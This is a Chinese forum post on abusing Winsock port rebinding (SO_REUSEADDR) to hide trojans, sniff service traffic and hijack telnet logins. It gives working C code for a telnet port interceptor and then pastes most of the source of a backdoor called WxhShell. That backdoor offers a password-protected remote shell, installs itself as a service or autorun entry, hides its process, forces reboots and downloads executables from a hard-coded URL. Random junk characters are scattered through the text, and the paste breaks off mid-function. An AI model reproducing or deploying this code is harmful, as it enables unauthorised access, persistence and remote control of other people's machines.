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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZZ]/9oiF%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TJ?}5h5  
w^A8ZT0^7  
  saddr.sin_family = AF_INET; v\n!Li H  
~ Y4H)r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4w*F!E2H\}  
^Ac0#oX]M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U%t:]6d&}  
l.;y`cs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FGy7KVR  
wrK$ZO]  
  这意味着什么?意味着可以进行如下的攻击: sOz jViv  
eq(|%]a=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U87VaUr  
I@pnZ-5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \^|ncu:T  
: b $ M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J4!Z,-  
wD22@uM#]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q\m"n^XN  
y{!`4CxF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y;;^o6Gnw  
h+R}O9BD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h&h]z[r R  
}b)?o@9}:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v:JFUn}  
yw#P<8{/[  
  #include @2YO_rL[  
  #include 3|P P+<o  
  #include ?#,\,  
  #include    gA" =so  
  DWORD WINAPI ClientThread(LPVOID lpParam);   b.8HGt<%  
  int main() 0:v7X)St  
  { je_77G(F  
  WORD wVersionRequested; }9 qsPn  
  DWORD ret; */O6cF7  
  WSADATA wsaData; }gag?yQ.^  
  BOOL val; _$MoMg{uJH  
  SOCKADDR_IN saddr; _ky!4^B  
  SOCKADDR_IN scaddr; ?#J~ X\5  
  int err; ]2h~Db=  
  SOCKET s; xV}|G   
  SOCKET sc; "N7C7`izc  
  int caddsize; H{p+gj^J  
  HANDLE mt; rf1-E57#  
  DWORD tid;   V9B $_j4  
  wVersionRequested = MAKEWORD( 2, 2 ); p1J%=  
  err = WSAStartup( wVersionRequested, &wsaData ); tnRq?  
  if ( err != 0 ) { UCvMW*gs  
  printf("error!WSAStartup failed!\n"); OwSr`2'9  
  return -1; DFE?H  
  } vlEd=H,LT  
  saddr.sin_family = AF_INET; @>X."QbE  
   `=q)-y_C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^hY<avi6s  
Pg*ZQE[ME8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c9r2kc3cy{  
  saddr.sin_port = htons(23); Q? W]g%:)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xCoQ>.4p  
  { owmA]f  
  printf("error!socket failed!\n"); 2MtaOG2l&q  
  return -1; /SlCcozFL~  
  } ,^AkfOY7"  
  val = TRUE; @B+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M#F;eK2pf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1xT^ ,e6  
  { eR8h4M~O  
  printf("error!setsockopt failed!\n"); T3'dfe U  
  return -1; bG2 !5m4L  
  } 96MRnj*Y[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R6{%o:{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .hETqE`E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZVK;m1?'  
{U-VInu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  "}Ya.  
  { k"GW3E;  
  ret=GetLastError(); ;rd!kFd#bq  
  printf("error!bind failed!\n"); lFI"U^xC  
  return -1; ")x9A&p  
  } V , )kw{](  
  listen(s,2); I-fs*yzj;8  
  while(1) ]J_Dn\  
  { tao3Xr^?  
  caddsize = sizeof(scaddr); s&8QRI.  
  //接受连接请求 *$(9,y\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G} }oeS  
  if(sc!=INVALID_SOCKET) IE'OK  
  { ^t9"!K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i aP+Vab  
  if(mt==NULL) d~GT w:  
  { 8c]\4iau  
  printf("Thread Creat Failed!\n"); N \A)P  
  break; !7^fji  
  } r(i<H%"Z  
  } jf.ikxm  
  CloseHandle(mt); 1 *;?uC\  
  } jG{xFz>x  
  closesocket(s); ZaXK=%z  
  WSACleanup(); 7m@pdq5Ub  
  return 0; iK=H9j  
  }   8oN4!#:  
  DWORD WINAPI ClientThread(LPVOID lpParam) _;X# &S(q-  
  { $ZwsTV]x  
  SOCKET ss = (SOCKET)lpParam; f,`FbT  
  SOCKET sc; CF =#?+x  
  unsigned char buf[4096]; .^P^lQT]>  
  SOCKADDR_IN saddr; < ~x5{p  
  long num; NoZz3*j=  
  DWORD val; &e3z)h  
  DWORD ret; * C's7O{O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VaSw}q/o:/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EUUj-.dEN  
  saddr.sin_family = AF_INET; !4I?59  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =NyzX&H6  
  saddr.sin_port = htons(23); AvP*p{we  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5\EHu8  
  { j!:U*}f  
  printf("error!socket failed!\n"); LF*3Iw|v  
  return -1; >\(Ma3S   
  } z9;vE7n!  
  val = 100; q`9~F4\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sOU_j4M{  
  { 4ol=YGCI_  
  ret = GetLastError(); +<bq@.x  
  return -1; >i@gR  
  } V/>SjUNq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) --",}%-  
  { nGX~G^mZ  
  ret = GetLastError(); pN4!*7M  
  return -1; ] p+t>'s  
  } 6TPcG dZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rw_&t>Ri;  
  { A(;J  
  printf("error!socket connect failed!\n"); Qpf BM  
  closesocket(sc); |byB7 f  
  closesocket(ss); .9 nsW?  
  return -1; #8nF8J< 4  
  } CdTmL{Y1  
  while(1) Ra~n:$tg2  
  { e/@udau  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 as o8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iVXR=A\er  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u b4(mS  
  num = recv(ss,buf,4096,0); z13"S(5D~  
  if(num>0) Ds L]o  
  send(sc,buf,num,0); 1T}|c;fc  
  else if(num==0) )S8q.h  
  break; iP' }eQn]c  
  num = recv(sc,buf,4096,0); NSb< 7_L  
  if(num>0) *xL#1  
  send(ss,buf,num,0); *p.ELI1IC  
  else if(num==0) -! ;vX @  
  break; -@^SiI:C  
  } F<IqKgGzH  
  closesocket(ss); {6/%w,{,  
  closesocket(sc); xW"J@OiKL  
  return 0 ; ( 7Y :3  
  } 6LvUi|~"<  
i Cv &<C@  
bIWcL$}4Q  
========================================================== :Q\h'$C  
/hI#6k8o_  
下边附上一个代码,,WXhSHELL %R&3v%$y*  
X4%*&L  
========================================================== X]y3~|K  
q &jW{  
#include "stdafx.h" g`J? 2 _]  
WNL3+  
#include <stdio.h> uLL#(bhDr  
#include <string.h> ap;UxWqx  
#include <windows.h> BA t2m-  
#include <winsock2.h> j&8 ~X2?*  
#include <winsvc.h> U35}0NT _  
#include <urlmon.h> D-,sF8{ i  
\19XDqf8  
#pragma comment (lib, "Ws2_32.lib") ]/d2*#  
#pragma comment (lib, "urlmon.lib") bXC 0f:L  
,&)XhO?  
#define MAX_USER   100 // 最大客户端连接数 9=JU &/!  
#define BUF_SOCK   200 // sock buffer 1N#TL"lMS  
#define KEY_BUFF   255 // 输入 buffer !uHI5k,f  
VQo7 se1P  
#define REBOOT     0   // 重启 SAo"+%  
#define SHUTDOWN   1   // 关机 R^8Opf_UN  
\=5CNe  
#define DEF_PORT   5000 // 监听端口 Po^2+s(fY  
1bj75/i<6  
#define REG_LEN     16   // 注册表键长度 Pv/P<i^  
#define SVC_LEN     80   // NT服务名长度 jq =-Y  
8E0Rg/DnT  
// 从dll定义API 3:=XU9p)x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _=}Y lR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9sT?"(=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d3n TJX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Rbr vY  
j|? bva\  
// wxhshell配置信息 w"l8M0$m  
struct WSCFG { MGmtA(  
  int ws_port;         // 监听端口 .3HC*E.e  
  char ws_passstr[REG_LEN]; // 口令 H_*]Vg  
  int ws_autoins;       // 安装标记, 1=yes 0=no EO| kiC   
  char ws_regname[REG_LEN]; // 注册表键名 m9PcDhv  
  char ws_svcname[REG_LEN]; // 服务名 uHf~KYL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?W(wtp,o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y[x ^59  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vys*=48g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %@BQv 4oJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oY0*T9vv+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jR/X}XQtY  
2%@j<yS  
}; N?pD"re)6  
mIr{Wocx  
// default Wxhshell configuration +Oyt   
struct WSCFG wscfg={DEF_PORT, m,.d< **  
    "xuhuanlingzhe", 3]c<7vdl  
    1, 5`z{A  
    "Wxhshell", %@r h\Z  
    "Wxhshell", !w/~dy  
            "WxhShell Service", Gwvs~jN  
    "Wrsky Windows CmdShell Service", e=F' O] 5  
    "Please Input Your Password: ", i_=P!%,  
  1, MRJdQCBV  
  "http://www.wrsky.com/wxhshell.exe", %{Ls$Y)  
  "Wxhshell.exe" <`N\FM^vo  
    }; R=9j+74U  
v=`VDQWq  
// 消息定义模块 chiQ+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lI5{]?'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S`*al<m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L4[ bm[x  
char *msg_ws_ext="\n\rExit."; ;N/c5+  
char *msg_ws_end="\n\rQuit."; |H@M-  
char *msg_ws_boot="\n\rReboot..."; o0<T|zgF5,  
char *msg_ws_poff="\n\rShutdown..."; TY88PXW  
char *msg_ws_down="\n\rSave to "; DD-DY&2R  
l"cO@.T3  
char *msg_ws_err="\n\rErr!"; Z,d/FC#y(  
char *msg_ws_ok="\n\rOK!"; .z{7 rH  
10 p+e_@  
char ExeFile[MAX_PATH]; UIu'x_qc  
int nUser = 0;  !c*^:0  
HANDLE handles[MAX_USER]; @lj  
int OsIsNt; jn+0g:l  
t^7R6y  
SERVICE_STATUS       serviceStatus; r] ]Ke_s!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f5yd2wKy6  
gZPJZN/cpz  
// 函数声明 U5"F1CaW~  
int Install(void); C&;'Pw9H  
int Uninstall(void); *wSl~J|ZM%  
int DownloadFile(char *sURL, SOCKET wsh); / _cOg? o  
int Boot(int flag); ae^xuM?7  
void HideProc(void); v:vA=R2  
int GetOsVer(void); Lc.7:r  
int Wxhshell(SOCKET wsl); k(7! W  
void TalkWithClient(void *cs); =_wgKXBFa  
int CmdShell(SOCKET sock); $GPA6  
int StartFromService(void); r@!~l1$s`  
int StartWxhshell(LPSTR lpCmdLine); |FcG$[  
V3`*LU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #h&?wE>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~M\s!!t3  
l s_i)X  
// 数据结构和表定义 oOD|FrlY  
SERVICE_TABLE_ENTRY DispatchTable[] = '@W72ML.  
{ )WFUAzuN,  
{wscfg.ws_svcname, NTServiceMain}, M.128J+xfS  
{NULL, NULL} ]ny(l#Hu:  
}; HK-?<$Yc  
sVC5<?OW!p  
// 自我安装 ?(|!VLu  
int Install(void) !BY=HFT  
{ J[B8sa  
  char svExeFile[MAX_PATH]; My[L3KTTp  
  HKEY key; J]~3{Mi  
  strcpy(svExeFile,ExeFile); eR}d"F4W  
k\%{1oRA  
// 如果是win9x系统,修改注册表设为自启动 dB/Ep c&   
if(!OsIsNt) { wHY;Y-(ZT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r|#4+'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =X1$K_cN  
  RegCloseKey(key); :,7VqCh3@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 95+}NJ;r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i'57|;?  
  RegCloseKey(key); Uvuvr_IP  
  return 0; H ,?MG  
    } vw!i)JO8M  
  } ce;9UBkOg2  
} F>}).qx  
else { ,~3sba  
G)putk@   
// 如果是NT以上系统,安装为系统服务 :wF(([&4p!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %] Bb;0G  
if (schSCManager!=0) EU\1EBT^  
{ G +YF  
  SC_HANDLE schService = CreateService [&39Yv.k,7  
  ( i&l$G55F  
  schSCManager, T"0a&.TLj  
  wscfg.ws_svcname, ~{N|("nB  
  wscfg.ws_svcdisp, 16] O^R;r  
  SERVICE_ALL_ACCESS, 2AlLcfAW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g$:2c7uL  
  SERVICE_AUTO_START, 3O]e  
  SERVICE_ERROR_NORMAL, qS7*.E~j|]  
  svExeFile, [2 Rp.?  
  NULL, |M0TG  
  NULL, @!F9}n AP  
  NULL, 0)84Z.k  
  NULL, q=EQDHmh  
  NULL ^L[Z+7|  
  ); P(Lwpa,S  
  if (schService!=0) L72GF5+!!  
  { }%:?s6Ler  
  CloseServiceHandle(schService); F:H76O`8  
  CloseServiceHandle(schSCManager); Rc6Rk!^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R8?A%yxf  
  strcat(svExeFile,wscfg.ws_svcname); ^ZV xBQKg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V*/))n?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?Z.YJXoKZ  
  RegCloseKey(key); mg 3jm  
  return 0; 0!?f9kJq  
    } &"CS1P|  
  } Ea3tF0{  
  CloseServiceHandle(schSCManager); p;'vOb  
} |, :(3Ml  
} q`{.2yV  
J^?O] |  
return 1; q&wMp{  
} Q/+a{m0 f  
Xau.4&\d  
// 自我卸载 1ri#hm0x\  
int Uninstall(void) .Kv@p jOr  
{ jALo;PDJ  
  HKEY key; n%O`K{86  
F )tNA?p)  
if(!OsIsNt) { .K0BK)axO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @.gCeMlOf  
  RegDeleteValue(key,wscfg.ws_regname); !7w-?1?D  
  RegCloseKey(key); :_^YEm+A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |n~v_V2.0  
  RegDeleteValue(key,wscfg.ws_regname); g>Z1ZK0;M  
  RegCloseKey(key); %W c-.E R  
  return 0; R@EFG%|`_  
  } v|e\o~2D`  
} 7eO8cPy  
} BE U[M  
else { Lf,gS*Tg?  
l%)XPb2$J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~q9RZ#g13J  
if (schSCManager!=0) [;b9'7j'  
{ l==T3u r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <9Chkb|B  
  if (schService!=0) *"4ltWS  
  { NfSe(rd  
  if(DeleteService(schService)!=0) { [IYs4Y5  
  CloseServiceHandle(schService); !F%dE!  
  CloseServiceHandle(schSCManager); }Jc^p  
  return 0; 4bKZ@r%  
  } VP"L _Um  
  CloseServiceHandle(schService); :4A^~+J  
  } Z]6D0b  
  CloseServiceHandle(schSCManager); (2{1m#o  
} J|>P,x#G  
} M\GS&K$lq  
)Y:CV,`  
return 1; t]m#k%)  
} B>'\g O\2  
Rw7Q[I5z%  
// 从指定url下载文件 %URyGS]*  
int DownloadFile(char *sURL, SOCKET wsh) 2vur _`c V  
{ ;<*VwXJR  
  HRESULT hr; rN*4Y  
char seps[]= "/"; ':fVb3A[*d  
char *token; c2y5[L7?  
char *file; ,JjTzO  
char myURL[MAX_PATH]; %>s y`c  
char myFILE[MAX_PATH]; ](O!6_'d  
7_|zMk.J*  
strcpy(myURL,sURL); ;TR.UUT  
  token=strtok(myURL,seps); Q[k}_1sWs$  
  while(token!=NULL) Axcm~ !uf  
  { 'tdjPdw  
    file=token; 6dNo!$C^  
  token=strtok(NULL,seps); &^Xm4r%u_  
  } a]Lr<i8#%  
uXp0D$a  
GetCurrentDirectory(MAX_PATH,myFILE); VMNihx0FJ  
strcat(myFILE, "\\"); Z)ObFJMG5  
strcat(myFILE, file); m=#2u4H4  
  send(wsh,myFILE,strlen(myFILE),0); 0h5T&U]${Y  
send(wsh,"...",3,0); eHv/3"Og  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HID;~Ne  
  if(hr==S_OK) eQNYfWR  
return 0; g.veHh|;_  
else Dl7#h,GTc<  
return 1; BO1Mz=q  
g{i( 4DHm(  
} u6D>^qF}@'  
{5RM)J1  
// 系统电源模块  ]@<O!fS  
int Boot(int flag) 1c\$ziB  
{ 3vMfms  
  HANDLE hToken; w 5,-+&;  
  TOKEN_PRIVILEGES tkp; pE`BB{[@  
;ASlsUE\)  
  if(OsIsNt) { 6 s*#y [$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j]jwQRe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =WHdy;  
    tkp.PrivilegeCount = 1; []'BrG)!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "zYlddh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vQ 5 p  
if(flag==REBOOT) { k3u3X~u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w%`7,d u|  
  return 0; %kyvt t  
} ':J[KWuV  
else { g"F vD_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O,hT< s "  
  return 0; h19c*,0z!  
} yv&&x.!.Z  
  } C?X^h{T p  
  else { Ia[e 7  
if(flag==REBOOT) { pYH#Vh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) | tyVC=${  
  return 0; ss.wX~I  
} V) C4 sG  
else { l(*`,-pv:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L`tr7EEr  
  return 0; &pV'/  
} TU^UR}=lP  
} [Jwo,?w  
zcy!YB  
return 1; 5hg:@i',  
} R8sj>.I9j  
%?^IS&]Z  
// win9x进程隐藏模块 %;~Vc{Xxt/  
void HideProc(void) >2tYw,m  
{ Etj@wy/E  
,eW K~ pa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]oUvC  
  if ( hKernel != NULL ) %`?IY<  
  { `$Z:j;F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M2l0x @|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [RoOc)u  
    FreeLibrary(hKernel); j KGfm9|zj  
  } 'S;INs2|->  
\oA>%+]5  
return; qs 6r9?KP  
} u $O` \=  
ibAZ=RD  
// 获取操作系统版本 xf% _HMKc  
int GetOsVer(void) m&a.i B  
{ @y ] ek/  
  OSVERSIONINFO winfo; P{-j ^'y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f#f<Ii  
  GetVersionEx(&winfo); Pq u]?X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *t=8^q(K[  
  return 1; % Ya%R@b}  
  else M#Kke9%2  
  return 0; l!qhK'']V"  
} xq$(=WPI  
H{hd1  
// 客户端句柄模块 >}? jOB  
int Wxhshell(SOCKET wsl) 2@~.FBby7@  
{ Sqn|  
  SOCKET wsh;  Z(F['Zf  
  struct sockaddr_in client; &YpViC4K.  
  DWORD myID; IyK^` y  
E.LD1Pm0  
  while(nUser<MAX_USER) J'}G~rB<<  
{ Ec'Hlsgh&T  
  int nSize=sizeof(client); O2{~Q{p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K-,4eq!  
  if(wsh==INVALID_SOCKET) return 1; Aqy y\G;  
2i0 .x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qtrN=c3x  
if(handles[nUser]==0) X<8?>#  
  closesocket(wsh); ty ESDp%  
else w :nYsuF  
  nUser++; R`5g#  
  } Ms=5*_J2Jk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u}r>?/V!  
tq$L* ++O  
  return 0; Sy@)Q[A  
} p~'iK4[&6  
=y^`yv 3  
// 关闭 socket 8NnGN(a*D  
void CloseIt(SOCKET wsh) o|kiwr}Y  
{ d4~;!#<  
closesocket(wsh); W{RZ@ 3ZY  
nUser--; }]#&U/z  
ExitThread(0); q\pI&B  
} D~ogq]  
HVdy!J  
// 客户端请求句柄 6,;dU-A+  
void TalkWithClient(void *cs) TUBpRABH  
{ k=W~ot &  
Wu~cy}\  
  SOCKET wsh=(SOCKET)cs; ]4ib^R~Z  
  char pwd[SVC_LEN]; 'aWqj+Wbh  
  char cmd[KEY_BUFF]; dAWB.#  
char chr[1]; ["fUSQ  
int i,j; UY6aD~tD0  
,<=gPs;x  
  while (nUser < MAX_USER) { {^D; ($lm  
t zShds  
if(wscfg.ws_passstr) { ^sKdN-{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Ge0<6/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cnr=1E=  
  //ZeroMemory(pwd,KEY_BUFF); N~uc%wOA  
      i=0; Oq^t[X'  
  while(i<SVC_LEN) { g`z;:ao  
sWmqx$  
  // 设置超时 tQ *?L  
  fd_set FdRead; cQkj{u  
  struct timeval TimeOut; KE.O>M ,I.  
  FD_ZERO(&FdRead); ) &DsRA7v  
  FD_SET(wsh,&FdRead); 0&u=(;Dr\  
  TimeOut.tv_sec=8; L +mE&  
  TimeOut.tv_usec=0; u6 QW*8b4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R; w$_1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); blLl1Ak  
2TG2<wqvE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k8\ KCKql  
  pwd=chr[0]; 1s~rWnhVv  
  if(chr[0]==0xd || chr[0]==0xa) { #zv&h`gY  
  pwd=0; e"UXG\8D  
  break; * V7bALY  
  } k`#E#1niN  
  i++; 'qUM38s  
    } F Uz1P  
JMk2OK {0  
  // 如果是非法用户,关闭 socket $EHF f$M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kh@O_Q`j  
} VDro(?p8Z  
# > I_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zB`J+r;LU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n*ROlCxV  
M3elog:M  
while(1) { MQDLC7Y.p5  
#D#kw*c  
  ZeroMemory(cmd,KEY_BUFF); ju5o).!bg  
'gXD?ARW  
      // 自动支持客户端 telnet标准   :IU<AG6  
  j=0; \[qxOZ{  
  while(j<KEY_BUFF) { KWeE!f 7G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tay$::V  
  cmd[j]=chr[0]; !4`:(G59  
  if(chr[0]==0xa || chr[0]==0xd) { t^Lb}A#$4  
  cmd[j]=0; FGPqF;  
  break; w#hg_RK(Jr  
  } (, ik:j  
  j++; #'},/Lm@  
    } .N>*+U>>P  
|'&$VzA  
  // 下载文件 ; w+  
  if(strstr(cmd,"http://")) { }A]e C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GLESngAl  
  if(DownloadFile(cmd,wsh)) {]U \HE1w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~NPhVlT  
  else E24SD'|)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6;\1bP?  
  } x_I*6?  
  else { *5 9|  
~\2%h lA  
    switch(cmd[0]) { cl1ygpf(  
  +}1zw<  
  // 帮助 tl{{Vc[  
  case '?': { g\q4-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $j(d`@.DN~  
    break; m&b1H9ymd  
  } sV-P R]  
  // 安装 q9p31b3  
  case 'i': { I^( pZ9  
    if(Install()) ?<BI)[B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0N>J8y  
    else ^fe,A=k~1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < qab\M0W  
    break; KQb&7k .  
    } ^&C/,,U  
  // 卸载 2HSFMgy  
  case 'r': { v0!|TI3s  
    if(Uninstall())  oJ*,a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -BI!ZsC'  
    else ]\ !ka/%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<{r~YFjWW  
    break; 9B;WjXSe  
    } N>YSXh`W`y  
  // 显示 wxhshell 所在路径 ?< ^8,H  
  case 'p': { 5@r6'Z  
    char svExeFile[MAX_PATH]; 4i{Xs5zk  
    strcpy(svExeFile,"\n\r"); Ipq0 1 +  
      strcat(svExeFile,ExeFile); *P9"1K +  
        send(wsh,svExeFile,strlen(svExeFile),0); ME0u|_dPjz  
    break; .)+c01  
    } (y6q}#<  
  // 重启 RQ[/s lg  
  case 'b': { 2Sa{=x N)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0;T7fKj  
    if(Boot(REBOOT)) Zzg zeT+bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H,c;g=!  
    else { CmbgEGIh[a  
    closesocket(wsh); D iOd!8Y  
    ExitThread(0); (0#$%US\  
    } jQ'g'c!  
    break; T30fp  
    } "= %"@"<)  
  // 关机 "P@ SR`v#  
  case 'd': { 41d+z>a]  
